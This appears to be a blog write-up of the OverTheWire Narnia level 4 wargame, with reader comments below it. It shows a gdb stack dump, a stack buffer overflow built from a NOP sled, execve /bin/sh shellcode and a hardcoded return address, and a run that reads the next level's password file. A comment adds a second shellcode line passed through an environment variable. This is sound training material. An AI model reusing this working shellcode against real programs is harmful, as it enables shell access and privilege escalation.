0xffffd8f0:     0x41414141      0x41414141      0x41414141      0x00414141
0xffffd900:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd910:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd920:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd930:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd940:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd950:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd960:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd970:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd980:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd990:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd9a0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd9b0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd9c0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd9d0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd9e0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd9f0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda00:     0x00000000      0x00000000

So for this buffer overflow vulnerability I have 272 bytes for my payload with the last 4 bytes to make the total payload length of 276 for my RET address. Looking in the above debugging of the stack of the binary file I can see the payload is sitting between the memory address range of “0xffffd7dc-0xffffd8fc”, I chose the location of “0xffffd810” as my RET address as it was close to the start of my buffer that I sent.

root@Phlegethon:~/Study/overthewire/narnia# python -c'print(len("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"))'
25

So next I just used python to create my buffer string with the first 247 bytes of the buffer will by my NOP sled and then my 25 byte shellcode and then the 4 byte RET address which will overwrite the EIP register and jump into my NOP sled of my buffer.

narnia4@melinda:~$ /games/narnia/narnia4 $(python -c'print "\x90"*247 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x10\xd8\xff\xff"')
$ cat /etc/narnia_pass/narnia5
**********
Advertisements

6 comments

  1. Hi, I got a question about Narnia 0-4 writeup. I am learning as I follow along so I am trying to understand the reasoning behind each step, rather than memorizing stuff and not understanding it.

    In your level 1 payload script you have: export EGG=$(python -c’print “payload”‘)

    My question is why do you have to use python -c to do this? Why does it not work when you do export EGG=$(cat “payload”)

    What is it about running the print command through Python that works and just running cat or echo does not?

    1. Out of habit I use python just because it’s what I prefer, you could do this with any programming language.

      Have a look at the manual entry for echo (man echo), echo -e is might be interesting for you. The cat command reads from a file, if you put the shellcode in a file you can use the cat command to cat out the file.

      narnia2@melinda:~A echo -e “\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80” > /tmp/testcode.bin
      narnia2@melinda:~$ unset EGG
      narnia2@melinda:~$ export EGG=$(cat /tmp/testcode.bin)
      narnia2@melinda:~$ /narnia/narnia1
      Trying to execute EGG!
      $ id
      uid=14002(narnia2) gid=14002(narnia2) groups=14002(narnia2)
      $ exit

      http://en.wikipedia.org/wiki/Binary_file

  2. “when I re-read through the source code I realised this was the only way the shellcode can be passed to the binary anyways as it is set to null”

    can you please explain this . i was trying to pass the shellcode through env variable .

    1. The for loop is setting the environ variable to null.

      “”
      for(i = 0; environ[i] != NULL; i++)
      memset(environ[i], ”, strlen(environ[i]));
      “”

      The assumption is made that environ variable is a pointer to the system environment variables because of this code “extern char **environ;”.
      Reference: http://en.wikipedia.org/wiki/External_variable

      These to bits of information mean that if the environ is a pointer to the system environment variables, the environment variables are becoming null before stack overflow occurs. This means you can not place your shellcode in the system environment variables because it is destroyed before the overflow occurs.

      This is why I passed the shellcode as part of the string which caused overflow and at the point the overflow happens, I hardcoded the memory address of the start of the shellcode.

  3. Hi
    About level 0. I got the overflow bit myself. but I don’t really follow what’s going on with the cat command and what’s being piped. I get it when it’s just

    echo -e “dddddddddddddddddddd\xef\xbe\xad\xde” | ./narnia0

    but my knowlege of pipes isn’t good enough to understand what the brackets do, what “cat” is doing. My inital thought was you were pushing the string “id” into the bit of memory that contains “/bin/sh” so System would run something else but I don’t think that’s what’s happening.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s